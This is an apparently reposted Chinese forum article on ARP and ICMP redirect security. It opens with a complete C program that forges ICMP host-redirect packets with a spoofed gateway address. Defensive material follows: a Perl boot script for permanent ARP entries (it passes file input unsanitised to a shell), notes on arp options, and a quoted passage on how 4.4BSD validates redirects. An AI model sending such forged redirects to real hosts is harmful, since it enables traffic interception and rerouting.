#define IPVERSION 4
struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};
struct raw_pkt *pkt;
void die (char *);
unsigned long int get_ip_addr (char *);
unsigned short checksum (unsigned short *, char);
int main (int argc, char * argv[]) {
struct sockaddr_in sa;
int sock, packet_len;
char usage[] = {\"icmp_redir: send out custom ICMP host redirect packet. \\
yuri volobuev\"97\\n\\
usage: icmp_redir gw_host targ_host dst_host dummy_host\\n\"};
char on = 1;
if (argc != 5)
die(usage);
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror(\"socket\");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1, (size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt, sizeof(struct iphdr));
pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);
memcpy(&(pkt->encl_iphdr), pkt, sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*) & (pkt->encl_iphdr),
sizeof(struct iphdr));
pkt->icmp.checksum = checksum((unsigned short*) & (pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror(\"setsockopt: IP_HDRINCL\");
exit(1);
}
if(sendto(sock, pkt, packet_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0)
perror(\"sendto\");
exit(1);
}
exit(0);
}
void die (char *str) {
fprintf(stderr, \"%s\\n\", str);
exit(1);
}
unsigned long int get_ip_addr (char *str) {
struct hostent *hostp;
unsigned long int addr;
if( (addr = inet_addr(str)) == -1){
if ((hostp = gethostbyname(str)))
return *(unsigned long int *)(hostp->h_addr);
else {
fprintf(stderr, \"unknown host %s\\n\", str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;
while (len > 1) {
sum += *addr++;
len -= 2;
}
if (len > 0)
sum += *addr;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
我写了一个简短的Perl script,在系统启动文件中运行,设置
永久ARP入口。配置文件格式是\"IP地址 空格 MAC地址\",#号开头
的是注释。仅仅在Linux测试过,其他操作系统可能需要细微修改。
你必须保证它在网络接口已经Up,但任何服务器/客户端没有启动
之前运行,否则在ARP表被绑定之前可能有人偷偷摸摸地连接上来。
#! /usr/bin/perl
# by John Goerzen <[email protected]>
# Program: forcehwaddr
# Program to run ARP to force certain tables.
# Specify filenames to read from on command line, or read from stdin.
foreach (<>) { # For each input line....
chomp; # Strip if CR/LF
if (/^#/) { next; } # If it\"s a comment, skip it.
if (((($host, $hw) = /\\s*(.+?)\\s+(\\S+)\\s*/) == 2) &&
!(/^#/)) {
# The text between the slashes parses the input line as follows:
# Ignore leading whitespace. (\\s*)
# Then, start matching and put it into $host ($host, (.+?))
# Skip over the whitespace after that (\\s+)
# Start matching. Continue matching until end of line or optional
# trailing whitespace.
# Then, the if checks to see that both a
# host and a hardware address were matched.
# (2 matches). If not, we skip the
# line (assuming it is blank or invalid or something).
# The second part of the if checks to see if the line starts with
# a pound sign; if so, ignore it (as a comment).
# Otherwise, run the appropriate command:
printf(\"Setting IP %-15s to hardware address %s\\n\", $host, $hw);
system \"/usr/sbin/arp -s $host $hw\\n\";
}
}
一些BSD变体有arp -f选项:
-f Causes the file filename to be read and multiple entries to be
set in the ARP tables. Entries in the file should be of the form
hostname ether_addr [temp] [pub]
Please note Yuri\"s original posting - unless you use the \"-arp\" option with
ifconfig these \"permanent\" settings will get replaced! Also even with -arp any
host that has not had the etheraddress set using arp -f or arp -s will be added
to the arp cache.
This is what I found with IRIX 6.2, HP-UX or FreeBSD and I would be surprised
if any other OS was very different - the \"permanent\" flag stays set but the
etheraddress will change unless -arp has been used.
Easy to test by setting a nonesense ether for a host with arp -s and then send
a ping comparing the arp cache before and after. Nothing appears in logfiles
unless you have something monitoring arps such as arpwatch.
下文引自W. Stevens TCP/IP Illustrated, Volume 1 page 123:
一台4.4BSD主机接收到ICMP重定向报文,为了防止失常的路由、主机或者恶意的入侵者
不正确的修改系统路由表,做了如下检查:
1. 新路由必须是直达的
2. 重定向包必须来自去往目标的当前路由
3. 重定向包不能通知主机用自己做路由(Pwin98不是这样的)
4. 被改变的路由必须是一条间接路由
因此若A和B在同一子网,A不可能利用ICMP重定向使B发往子网内IP的包流向自己。
但可以使B发往子网外IP的包流向自己。
转载自白云黄鹤bbs.whnet.edu.cn
发布人:netbull 来自:JJ的Linux世界